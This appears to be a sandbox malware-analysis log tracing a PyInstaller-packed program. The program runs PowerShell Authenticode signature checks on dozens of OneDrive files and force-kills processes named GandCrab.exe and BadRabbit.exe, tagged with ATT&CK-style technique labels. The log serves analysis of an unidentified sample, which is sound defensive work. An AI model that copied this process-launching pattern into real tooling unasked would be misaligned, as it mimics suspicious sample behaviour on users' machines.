C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncFAL.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncFAL.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncFALWB.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncFALWB.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncSessions.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncSessions.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncViews.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncViews.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ipcfile.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ipcfile.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ipcsecproc.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ipcsecproc.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\libeay32.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\libeay32.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\libEGL.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\libEGL.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\libGLESv2.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\libGLESv2.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LoggingPlatform.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LoggingPlatform.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogUploader.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogUploader.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\msipc.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\msipc.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\msvcp140.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\msvcp140.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\OneDriveSetup.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\OneDriveSetup.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Core.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Core.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5DBus.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5DBus.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Gui.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Gui.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Network.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Network.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5PrintSupport.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5PrintSupport.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Qml.dll').Status""5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Qml.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Quick.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Quick.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5QuickControls2.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5QuickControls2.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5QuickTemplates2.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5QuickTemplates2.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Svg.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Svg.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Widgets.dll').Status""5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Widgets.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5WinExtras.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5WinExtras.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\RemoteAccess.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\RemoteAccess.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ssleay32.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ssleay32.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\SyncEngine.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\SyncEngine.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Telemetry.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Telemetry.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ucrtbase.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ucrtbase.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\UpdateRingSettings.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\UpdateRingSettings.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\vcruntime140.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\vcruntime140.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\WnsClientApi.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\WnsClientApi.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileCoAuthLib64.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileCoAuthLib64.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncApi64.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncApi64.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\arm64\FileSyncApi64.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\arm64\FileSyncApi64.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\arm64\FileSyncShell64.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\arm64\FileSyncShell64.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\imageformats\qjpeg.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\imageformats\qjpeg.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\imageformats\qsvg.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\imageformats\qsvg.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\IRMProtectors\Microsoft.Office.Irm.MsoProtector.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\IRMProtectors\Microsoft.Office.Irm.MsoProtector.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\IRMProtectors\Microsoft.Office.Irm.OfcProtector.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\IRMProtectors\Microsoft.Office.Irm.OfcProtector.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\IRMProtectors\microsoft.office.irm.pdfprotector.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\IRMProtectors\microsoft.office.irm.pdfprotector.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\platforms\qwindows.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\platforms\qwindows.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls\Styles\Flat\qtquickextrasflatplugin.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls\Styles\Flat\qtquickextrasflatplugin.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\qtquickcontrols2plugin.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\qtquickcontrols2plugin.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Extras\qtquickextrasplugin.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Extras\qtquickextrasplugin.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Layouts\qquicklayoutsplugin.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Layouts\qquicklayoutsplugin.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Templates.2\qtquicktemplates2plugin.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Templates.2\qtquicktemplates2plugin.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Window.2\windowplugin.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Window.2\windowplugin.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick.2\qtquick2plugin.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick.2\qtquick2plugin.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "GandCrab.exe""5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "GandCrab.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "BadRabbit.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "BadRabbit.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\libcrypto-3.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\libcrypto-3.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
